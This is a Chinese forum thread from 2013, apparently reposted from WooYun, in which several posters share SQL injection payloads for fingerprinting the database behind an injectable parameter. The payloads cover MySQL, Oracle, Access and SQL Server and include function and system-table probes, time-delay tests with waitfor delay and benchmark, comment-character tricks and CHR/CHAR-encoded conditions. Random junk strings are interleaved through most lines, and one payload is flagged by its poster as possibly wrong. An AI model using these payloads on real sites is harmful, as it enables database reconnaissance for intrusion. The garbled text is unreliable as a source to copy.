找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2438|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
3 L+ q4 `# |3 L' V. V* l3 g0 l, xxsser (十根阳具有长短!!) | 2013-02-05 12:36
% l5 a6 b: p! h1 s. A6 a假设这么一个注射点:
6 e5 I% C1 ]9 [. o6 Z# a. _: Y) X2 lshow.html?id=2
  N3 N7 o1 X2 ~$ M( J0 Z7 tmysql:id=2 and version()>0
! o+ f& L/ S: t9 x# A9 V6 B7 Eoracle:id=2 and '1'||'1'='11! j- ^+ X  }  W! j3 m$ E
其他的欢迎补充
2 u3 l3 P2 O+ E1#6 A! j/ r1 ]; t. F+ h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47) b  g0 ~9 D. ~4 H3 B. G, V
Access:" k9 t4 l+ s- `" r
aNd aSc(cHr(97))=97! N  l/ X0 q" t
and exists(select id from MSysAccessObjects)& q' ?8 l9 _( y/ N7 x  l: F
SQL Server:
. q4 q; N" }# f$ y. c( hand exists(select id from sysobjects)% b6 @1 G% T0 i8 h! z/ u6 b1 R
and length(user)>0$ \6 U" j0 a9 F5 U/ C2 ^
MySQL:
9 \3 M3 ~4 x! _& e9 m% ~and length(user())>0
9 C' v  i$ k! R2#6 D- X2 D3 u. w' a
xsser (十根阳具有长短!!) | 2013-02-05 12:48
8 Y& E9 z) K* a5 o& b/ D@upload 如果这些都不是呢…
" j% ~! M2 _, ?+ t* C3#
1 d( h1 K* J9 r2 o. b* e/ nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:037 v8 k0 Z9 C2 s5 s
@xsser 不快速的,延时注入, b$ P4 `. p, F1 [
不知道这样写对不对& ^- M/ j0 p1 }$ t8 @, b$ k
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
5 f# C# Z2 g% @mysql:id=2 and select benchmark(1e8,current_date());9 ^) Q. G* K6 b& v
4#+ c2 n  k' C5 m2 l4 C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
+ x% H0 Y. g/ Q5 {4 f9 Z最快的貌似是看报错信息# S+ H1 h4 g. B6 b9 c
oracle error5 B8 Y! u3 E" \1 z/ I9 B
mssql error
6 P  ?/ Y- ?, V  o4 ]mysql error
& V4 Y' l4 v# q. @5#
* A4 ?) E9 ]9 D& p& SNimda (你们都是坏银~) | 2013-02-05 13:14% l5 ^3 N3 E; x  P
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)& ^& }2 W% |$ T
6#9 |4 ^9 B' k) W9 ?) z" U& c3 N
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:218 }' o% q" I' ~  P; r  n
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:  p. _$ R8 j; `" N
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:  M' r2 T( ?; M' R) k
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。* b. Z! i/ p# L5 o
7#9 k! Z1 S- x6 I6 ~
_Evil (HackEnd) | 2013-02-05 13:33' j: W3 a1 W4 _9 E4 d. a. |
PostgreSQL
9 m0 e1 _+ U- D) y8#
( ~1 v$ h% t. o) n; ]upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
+ v/ u1 q. [& F+ _; ]/ S0 M切换编码 and 1=1% r4 Z* h: t" p
oracle:
6 {, V* S' Z0 d% D2 i7 z: `CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)4 S& Z5 K) Y% I- z* u6 X
mssql:& {- l/ C9 S4 z
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
+ X) Z: P' u. `; D# S$ e* i0 w$ [! amysql:- \/ t5 I4 F' q$ E, j: N
CHAR(97, 110, 100, 32, 49, 61, 49)5 m: K5 P$ {8 \( t8 j' }
9#
0 s5 G4 r# k5 ]8 u; c6 }1 e# [" A$ qxsser (十根阳具有长短!!) | 2013-02-05 14:31
  t$ \% U: {9 Z. C0 ]" O8 i@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?; w3 c3 G+ ?, U& ]1 v
10#
/ ~9 J- l. l8 h% @4 fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46% F: v( @3 y0 q4 i
@xsser 是奇葩数据库类型的么?
# j# M# Y! B) \# O# c8 Q" n4 m根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:& V: @* j3 U9 B
1.是否可以使用特定的函数来判断,该数据库特有的0 _' D7 a; _( v5 ^# m5 ?) `
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
6 M6 L0 I7 r$ p3.是否可以编码查询
1 m7 b9 H8 C5 A% y0 u( E- k( ]$ p4.是否显可以利用错信息5 h! ?) i% W! H6 Q7 @
5.是否存在数据库某些特性辅助判断% s7 W, `, P+ \0 j4 v
个人见解/ H% A+ o' z/ v" t& e1 l
11#
: Y: z* d# C$ M( X) r6 r3 G2 v小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
; W/ {* d6 X7 P2 @" P8 j  _已收藏,mssql可以直接看到错误提示的吧~! s4 l* X8 n/ x
12#
6 }! }* L7 X0 |. PPasser_by | 2013-02-05 15:094 I/ a; _2 x( D1 u' ^
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。/ X/ h$ d! K1 h+ z
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表